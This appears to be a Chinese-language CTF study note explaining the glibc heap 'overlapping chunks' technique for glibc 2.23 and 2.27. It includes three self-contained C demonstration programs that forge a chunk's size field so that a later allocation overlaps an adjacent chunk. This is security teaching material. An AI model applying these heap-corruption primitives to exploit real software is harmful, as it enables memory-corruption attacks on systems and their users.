overlapping_chunks
glibc-2.23
下面介绍的是往高地址处的chunk overlap。其实chunk overlap的原理很简单:就是修改chunk的size 位。在下面的例子中,先将chunk 2 free入unsortedbin里面后修改其的size位,使其覆盖到第三个chunk末尾。值得注意的是,如果可以的话,尽量不要修改chunk的低三位的标记位。
/*
A simple tale of overlapping chunk.
This technique is taken from
<http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
fprintf(stderr, "\\nThis is a simple chunks overlapping problem\\n\\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\\n");
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
fprintf(stderr, "The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n", p1, p2, p3);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
fprintf(stderr, "\\nNow let's free the chunk p2\\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n");
fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\\n");
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n",
evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
fprintf(stderr, "\\nNow let's allocate another chunk with a size equal to the data\\n"
"size of the chunk p2 injected size\\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\\n"
"is parked in the unsorted bin which size has been modified by us\\n");
p4 = malloc(evil_region_size);
fprintf(stderr, "\\np4 has been allocated at %p and ends at %p\\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\\n");
fprintf(stderr, "\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,"
" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n");
fprintf(stderr, "Let's run through an example. Right now, we have:\\n");
fprintf(stderr, "p4 = %s\\n", (char *)p4);
fprintf(stderr, "p3 = %s\\n", (char *)p3);
fprintf(stderr, "\\nIf we memset(p4, '4', %d), we have:\\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\\n", (char *)p4);
fprintf(stderr, "p3 = %s\\n", (char *)p3);
fprintf(stderr, "\\nAnd if we then memset(p3, '3', 80), we have:\\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\\n", (char *)p4);
fprintf(stderr, "p3 = %s\\n", (char *)p3);
}
一般地,chunk overlap需要其它的堆溢出漏洞来支撑。并且在题目中chunk overlap只是exploitation 的一个过程而已。因此需要结合类似off by one的漏洞来一起理解并运用。
另一个例子
这个例子和上一个chunk overlap没有什么区别。唯一的区别在于触发这个chunk overlap的堆溢出的点的启动位置不一样。上一个例子是在free之后触发的堆溢出,因此通常同见于UAF漏洞。而这个chunk overlap是在free之前就触发的,通常就是前一个块的read的size位没有控制好造成的缓冲区溢出。 同时通过因为这个例子的chunk4的存在,还触发了相邻堆融合。不过这个操作不是chunk overlap触发的要求,因此free(p4)这一步可以不执行。
/*
Yet another simple tale of overlapping chunk.
This technique is taken from
<https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf>.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
fprintf(stderr, "\\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\\n");
fprintf(stderr, "\\nLet's start to allocate 5 chunks on the heap:");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf(stderr, "\\n\\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\\nchunk p5 from %p to %p\\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
fprintf(stderr, "\\nLet's free the chunk p4.\\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\\n");
free(p4);
fprintf(stderr, "\\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\\nwith the size of chunk_p2 + size of chunk_p3\\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
fprintf(stderr, "\\nNow during the free() operation on p2, the allocator is fooled to think that \\nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \\n");
fprintf(stderr, "\\nThis operation will basically create a big free chunk that wrongly includes p3\\n");
free(p2);
fprintf(stderr, "\\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "\\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \\nwe can overwrite data in p3 by writing on chunk p6\\n");
fprintf(stderr, "\\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\\nchunk p3 from %p to %p\\n", p3, (unsigned char *) p3+real_size_p3);
fprintf(stderr, "\\nData inside chunk p3: \\n\\n");
fprintf(stderr, "%s\\n",(char *)p3);
fprintf(stderr, "\\nLet's write something inside p6\\n");
memset(p6,'F',1500);
fprintf(stderr, "\\nData inside chunk p3: \\n\\n");
fprintf(stderr, "%s\\n",(char *)p3);
}
glibc-2.27
我们先来回顾一下一些事实:当一个chunk将要被free进unsortedbin的时候,并且该chunk尝试向前融合的时候不会检查前面的chunk的size域是否与当前的chunk的prev size域相等;它只根据当前的chunk的prev size来确定前面的chunk的位置以及由当前的chunk的size和当前的chunk的prev size共同来决定新的size(但是必须要有与那个size对应的prev size在对应的位置上)。这个结论在2.23和2.27上都成立。这个结论在只有一个字节溢出的2.27上构建堆重合特别有用,参将内部赛的PWN题。
另外一个在2.23和2.27上成立的事实是:当在unsortedbin分配的chunk刚好足够被分配的chunk的大小(即不至于分割该chunk)时候,不会检查该chunk的下一块chunk的prev size域。下面的操作就是基于这个结论的:
/*
A simple tale of overlapping chunk.
This technique is taken from
<http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
int main(int argc , char* argv[])
{
setbuf(stdout, NULL);
intptr_t *p1,*p2,*p3,*p4;
printf("\\nThis is a simple chunks overlapping problem\\n\\n");
printf("Let's start to allocate 3 chunks on the heap\\n");
p1 = malloc(0x500 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
printf("The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n", p1, p2, p3);
memset(p1, '1', 0x500 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
printf("\\nNow let's free the chunk p2\\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n");
printf("Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n");
printf("For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\\n");
printf("To achieve this stability we will mark the least significant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\\n");
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n", evil_chunk_size, evil_region_size);
/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */
printf("\\nNow let's allocate another chunk with a size equal to the data\\n"
"size of the chunk p2 injected size\\n");
printf("This malloc will be served from the previously freed chunk that\\n"
"is parked in the unsorted bin which size has been modified by us\\n");
p4 = malloc(evil_region_size);
printf("\\np4 has been allocated at %p and ends at %p\\n", (char *)p4, (char *)p4+evil_region_size);
printf("p3 starts at %p and ends at %p\\n", (char *)p3, (char *)p3+0x80-8);
printf("p4 should overlap with p3, in this case p4 includes all p3.\\n");
printf("\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,"
" and data written to chunk p3 can overwrite data\\n stored in the p4 chunk.\\n\\n");
printf("Let's run through an example. Right now, we have:\\n");
printf("p4 = %s\\n", (char *)p4);
printf("p3 = %s\\n", (char *)p3);
printf("\\nIf we memset(p4, '4', %d), we have:\\n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %s\\n", (char *)p4);
printf("p3 = %s\\n", (char *)p3);
printf("\\nAnd if we then memset(p3, '3', 80), we have:\\n");
memset(p3, '3', 80);
printf("p4 = %s\\n", (char *)p4);
printf("p3 = %s\\n", (char *)p3);
assert(strstr((char *)p4, (char *)p3));
}